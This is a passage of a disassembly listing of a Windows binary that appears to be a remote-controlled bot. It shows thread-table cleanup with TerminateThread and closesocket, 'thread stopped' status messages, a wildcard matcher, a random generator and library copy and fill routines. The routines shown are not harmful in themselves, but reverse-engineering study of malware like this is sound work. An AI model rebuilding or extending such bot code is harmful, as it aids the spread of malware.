sub_414F15	proc near		; CODE XREF: sub_40CD3A+49B9p
					; sub_414F9D+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_414F97
		cmp	esi, 12Ch
		jge	short loc_414F97
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_441BAC[esi]
		push	dword ptr [edi]
		call	dword_421130	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_414F47
		inc	ebp


loc_414F47:				; CODE XREF: sub_414F15+2Fj
		mov	[edi], ebx
		lea	edi, dword_441BA0[esi]
		mov	dword_441B98[esi], ebx
		mov	dword_441B9C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_414F68
		push	eax
		call	sub_413EDB
		pop	ecx


loc_414F68:				; CODE XREF: sub_414F15+4Aj
		mov	[edi], ebx
		lea	edi, dword_441BA4[esi]
		mov	byte ptr dword_441998[esi], bl
		mov	byte_441BB0[esi], bl
		push	dword ptr [edi]
		call	dword_43CABC	; closesocket
		lea	esi, dword_441BA8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_414F97:				; CODE XREF: sub_414F15+Dj
					; sub_414F15+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414F15	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F9D	proc near		; CODE XREF: sub_409D34:loc_409D58p
					; sub_40C48C+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_441998


loc_414FA9:				; CODE XREF: sub_414F9D+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_414FBA
		push	edi
		call	sub_414F15
		test	eax, eax
		pop	ecx
		jz	short loc_414FBA
		inc	ebx


loc_414FBA:				; CODE XREF: sub_414F9D+Fj
					; sub_414F9D+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_46AE88
		jl	short loc_414FA9
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FCF	proc near		; CODE XREF: sub_40CD3A+1C48p
					; sub_40CD3A+1CB9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_441B9C


loc_414FE3:				; CODE XREF: sub_414FCF+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_415005
		test	edi, edi
		jle	short loc_414FF7
		cmp	[esi], edi
		jz	short loc_414FF7
		cmp	ebx, edi
		jnz	short loc_415005


loc_414FF7:				; CODE XREF: sub_414FCF+1Ej
					; sub_414FCF+22j
		push	ebx
		call	sub_414F15
		test	eax, eax
		pop	ecx
		jz	short loc_415005
		inc	[ebp+var_4]


loc_415005:				; CODE XREF: sub_414FCF+1Aj
					; sub_414FCF+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_46B08C
		jl	short loc_414FE3
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414FCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41501C	proc near		; CODE XREF: sub_40713F+Bp
					; sub_4071B6+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_441B98


loc_415023:				; CODE XREF: sub_41501C+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_41502C
		inc	eax


loc_41502C:				; CODE XREF: sub_41501C+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_46B088
		jl	short loc_415023
		retn
sub_41501C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41503B	proc near		; CODE XREF: sub_40CD3A+508Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_441B98
		push	esi


loc_415045:				; CODE XREF: sub_41503B+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41505E
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_46B088
		jl	short loc_415045
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41505E:				; CODE XREF: sub_41503B+10j
		mov	eax, edx
		pop	esi
		retn
sub_41503B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415062	proc near		; CODE XREF: sub_40CD3A+5797p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41507B
		push	[ebp+arg_1C]
		call	sub_41587F
		pop	ecx


loc_41507B:				; CODE XREF: sub_415062+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_414FCF
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4150A7
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	short loc_4150C1
; ---------------------------------------------------------------------------


loc_4150A7:				; CODE XREF: sub_415062+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_415316
		add	esp, 10h


loc_4150C1:				; CODE XREF: sub_415062+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4150E1
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4150E1:				; CODE XREF: sub_415062+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		pop	ecx
		leave
		retn
sub_415062	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150F0	proc near		; CODE XREF: start+A2p	sub_401444+8Dp	...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_441BAC[eax], ecx
		mov	dword_441B98[eax], ecx
		mov	dword_441B9C[eax], ecx
		mov	dword_441BA0[eax], ecx
		mov	dword_441BA4[eax], ecx
		mov	dword_441BA8[eax], ecx
		mov	byte ptr dword_441998[eax], cl
		mov	byte_441BB0[eax], cl
		retn
sub_4150F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41512D	proc near		; CODE XREF: sub_40CD3A+5B9Bp
					; sub_415255+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_41518F
; ---------------------------------------------------------------------------


loc_415139:				; CODE XREF: sub_41512D+66j
		cmp	eax, 1
		jnz	short loc_4151A0
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_4151A0
		cmp	cl, 2Ah
		jz	short loc_415178
		cmp	cl, 3Fh
		jz	short loc_41515D
		cmp	cl, 5Bh
		jz	short loc_415162
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41515D:				; CODE XREF: sub_41512D+22j
		inc	[ebp+arg_4]
		jmp	short loc_41518B
; ---------------------------------------------------------------------------


loc_415162:				; CODE XREF: sub_41512D+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4151C1
		mov	esi, [ebp+arg_0]
		jmp	short loc_415189
; ---------------------------------------------------------------------------


loc_415178:				; CODE XREF: sub_41512D+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_415255
		mov	esi, [ebp+arg_0]
		dec	esi


loc_415189:				; CODE XREF: sub_41512D+49j
		pop	ecx
		pop	ecx


loc_41518B:				; CODE XREF: sub_41512D+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_41518F:				; CODE XREF: sub_41512D+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_415139
		jmp	short loc_4151A0
; ---------------------------------------------------------------------------


loc_415197:				; CODE XREF: sub_41512D+76j
		cmp	eax, 1
		jnz	short loc_4151BC
		inc	esi
		mov	[ebp+arg_0], esi


loc_4151A0:				; CODE XREF: sub_41512D+Fj
					; sub_41512D+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_415197
		cmp	eax, 1
		jnz	short loc_4151BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4151BC
		cmp	byte ptr [esi],	0
		jnz	short loc_4151BC
		xor	eax, eax
		inc	eax
		jmp	short loc_4151BE
; ---------------------------------------------------------------------------


loc_4151BC:				; CODE XREF: sub_41512D+6Dj
					; sub_41512D+7Bj ...
		xor	eax, eax


loc_4151BE:				; CODE XREF: sub_41512D+8Dj
		pop	esi
		pop	ebp
		retn
sub_41512D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151C1	proc near		; CODE XREF: sub_41512D+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4151E2
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4151E2:				; CODE XREF: sub_4151C1+19j
		push	ebx
		push	esi


loc_4151E4:				; CODE XREF: sub_4151C1+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4151F2
		cmp	[ebp+var_4], eax
		jnz	short loc_41523A


loc_4151F2:				; CODE XREF: sub_4151C1+2Aj
		test	edi, edi
		jnz	short loc_41522F
		cmp	bl, 2Dh
		jnz	short loc_415223
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_415223
		cmp	al, 5Dh
		jz	short loc_415223
		cmp	[ebp+var_4], edi
		jnz	short loc_415223
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_41522F
		cmp	bl, al
		jg	short loc_41522F
		mov	[edx], esi
		jmp	short loc_41522C
; ---------------------------------------------------------------------------


loc_415223:				; CODE XREF: sub_4151C1+38j
					; sub_4151C1+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_41522F


loc_41522C:				; CODE XREF: sub_4151C1+60j
		xor	edi, edi
		inc	edi


loc_41522F:				; CODE XREF: sub_4151C1+33j
					; sub_4151C1+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_4151E4
; ---------------------------------------------------------------------------


loc_41523A:				; CODE XREF: sub_4151C1+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_415247
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_415247:				; CODE XREF: sub_4151C1+7Ej
		cmp	edi, eax
		jnz	short loc_415250
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_415250:				; CODE XREF: sub_4151C1+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4151C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415255	proc near		; CODE XREF: sub_41512D+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_415285
; ---------------------------------------------------------------------------


loc_41526F:				; CODE XREF: sub_415255+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_415280
		cmp	dl, 2Ah
		jnz	short loc_415292
		cmp	dl, 3Fh
		jnz	short loc_415283


loc_415280:				; CODE XREF: sub_415255+1Fj
		inc	ecx
		mov	[edi], ecx


loc_415283:				; CODE XREF: sub_415255+29j
		inc	dword ptr [esi]


loc_415285:				; CODE XREF: sub_415255+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_41526F
		jmp	short loc_415292
; ---------------------------------------------------------------------------


loc_41528F:				; CODE XREF: sub_415255+40j
		inc	eax
		mov	[esi], eax


loc_415292:				; CODE XREF: sub_415255+24j
					; sub_415255+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_41528F
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_4152B4
		cmp	[eax], bl
		jz	short loc_4152A7
		xor	eax, eax
		jmp	short loc_415311
; ---------------------------------------------------------------------------


loc_4152A7:				; CODE XREF: sub_415255+4Cj
		cmp	dl, bl
		jnz	short loc_4152B4
		cmp	[eax], bl
		jnz	short loc_4152B4
		xor	eax, eax
		inc	eax
		jmp	short loc_415311
; ---------------------------------------------------------------------------


loc_4152B4:				; CODE XREF: sub_415255+48j
					; sub_415255+54j ...
		push	ecx
		push	eax
		call	sub_41512D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4152FB


loc_4152C1:				; CODE XREF: sub_415255+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_4152D3
; ---------------------------------------------------------------------------


loc_4152C7:				; CODE XREF: sub_415255+86j
		cmp	cl, 5Bh
		jz	short loc_4152DD
		cmp	dl, bl
		jz	short loc_4152DD
		inc	eax
		mov	[edi], eax


loc_4152D3:				; CODE XREF: sub_415255+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_4152C7


loc_4152DD:				; CODE XREF: sub_415255+75j
					; sub_415255+79j
		cmp	[eax], bl
		jz	short loc_4152F2
		push	eax
		push	dword ptr [esi]
		call	sub_41512D
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4152F7
; ---------------------------------------------------------------------------


loc_4152F2:				; CODE XREF: sub_415255+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4152F7:				; CODE XREF: sub_415255+9Bj
		cmp	eax, ebx
		jnz	short loc_4152C1


loc_4152FB:				; CODE XREF: sub_415255+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_41530E
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_41530E
		mov	[ebp+var_4], 1


loc_41530E:				; CODE XREF: sub_415255+AAj
					; sub_415255+B0j
		mov	eax, [ebp+var_4]


loc_415311:				; CODE XREF: sub_415255+50j
					; sub_415255+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415255	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415316	proc near		; CODE XREF: start+61p	sub_4010B2+320p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D6C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415356
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415363
; ---------------------------------------------------------------------------


loc_415356:				; CODE XREF: sub_415316+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_415363:				; CODE XREF: sub_415316+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415316	endp


; =============== S U B	R O U T	I N E =======================================



sub_415368	proc near		; CODE XREF: start+2Ep	sub_401BD4+46p	...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4383AC, eax
		retn
sub_415368	endp


; =============== S U B	R O U T	I N E =======================================



sub_415372	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_4383AC
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_4383AC, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415372	endp


; =============== S U B	R O U T	I N E =======================================



sub_415390	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401444+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4153E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4153D7
		neg	ecx
		and	ecx, 3
		jz	short loc_4153B9
		sub	edx, ecx


loc_4153B3:				; CODE XREF: sub_415390+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4153B3


loc_4153B9:				; CODE XREF: sub_415390+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4153D7
		rep stosd
		test	edx, edx
		jz	short loc_4153DD


loc_4153D7:				; CODE XREF: sub_415390+18j
					; sub_415390+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4153D7


loc_4153DD:				; CODE XREF: sub_415390+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4153E3:				; CODE XREF: sub_415390+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153F0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_415410
		cmp	edi, eax
		jb	loc_415588


loc_415410:				; CODE XREF: sub_4153F0+16j
		test	edi, 3
		jnz	short loc_41542C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------


loc_41542C:				; CODE XREF: sub_4153F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415444
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41544C+4[eax*4]
; ---------------------------------------------------------------------------


loc_415444:				; CODE XREF: sub_4153F0+46j
		jmp	dword ptr loc_415548[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41544C:				; CODE XREF: sub_4153F0+31j
					; sub_4153F0+8Ej ...
		jmp	off_4154CC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415460
		dd offset loc_41548C
		dd offset loc_4154B0
; ---------------------------------------------------------------------------


loc_415460:				; DATA XREF: sub_4153F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41548C:				; DATA XREF: sub_4153F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4154B0:				; DATA XREF: sub_4153F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4154CC	dd offset loc_41552F	; DATA XREF: sub_4153F0:loc_41544Cr
		dd offset loc_41551C
		dd offset loc_415514
		dd offset loc_41550C
		dd offset loc_415504
		dd offset loc_4154FC
		dd offset loc_4154F4
		dd offset loc_4154EC
; ---------------------------------------------------------------------------


loc_4154EC:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4154F4:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4154FC:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_415504:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41550C:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_415514:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41551C:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41552F:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0:off_4154CCo
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415538	dd offset loc_415548	; DATA XREF: sub_4153F0+35r
					; sub_4153F0+92r ...
		dd offset loc_415550
		dd offset loc_41555C
		dd offset loc_415570
; ---------------------------------------------------------------------------


loc_415548:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415550:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41555C:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415570:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415588:				; CODE XREF: sub_4153F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4155BC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4155B0:				; CODE XREF: sub_4153F0+1B1j
					; sub_4153F0+208j ...
		neg	ecx
		jmp	off_415680[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4155BC:				; CODE XREF: sub_4153F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4155D4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4155D4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4155D4:				; CODE XREF: sub_4153F0+1D6j
					; DATA XREF: sub_4153F0+1DDr
		jmp	off_4156D0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4155E7+1
; ---------------------------------------------------------------------------
		or	[esi+41h], dl
		add	[eax], dh
		push	esi
		inc	ecx


loc_4155E7:				; DATA XREF: sub_4153F0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415684
		dd offset loc_41568C
		dd offset loc_415694
		dd offset loc_41569C
		dd offset loc_4156A4
		dd offset loc_4156AC
		dd offset loc_4156B4
off_415680	dd offset loc_4156C7	; DATA XREF: sub_4153F0+1C2r
; ---------------------------------------------------------------------------


loc_415684:				; DATA XREF: sub_4153F0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41568C:				; DATA XREF: sub_4153F0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415694:				; DATA XREF: sub_4153F0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41569C:				; DATA XREF: sub_4153F0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4156A4:				; DATA XREF: sub_4153F0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4156AC:				; DATA XREF: sub_4153F0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4156B4:				; DATA XREF: sub_4153F0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4156C7:				; CODE XREF: sub_4153F0+1C2j
					; DATA XREF: sub_4153F0:off_415680o
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4156D0	dd offset loc_4156E0	; DATA XREF: sub_4153F0+1B7r
					; sub_4153F0:loc_4155D4r ...
		dd offset loc_4156E8
		dd offset loc_4156F8
		dd offset loc_41570C
; ---------------------------------------------------------------------------


loc_4156E0:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4156E8:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4156F8:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41570C:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
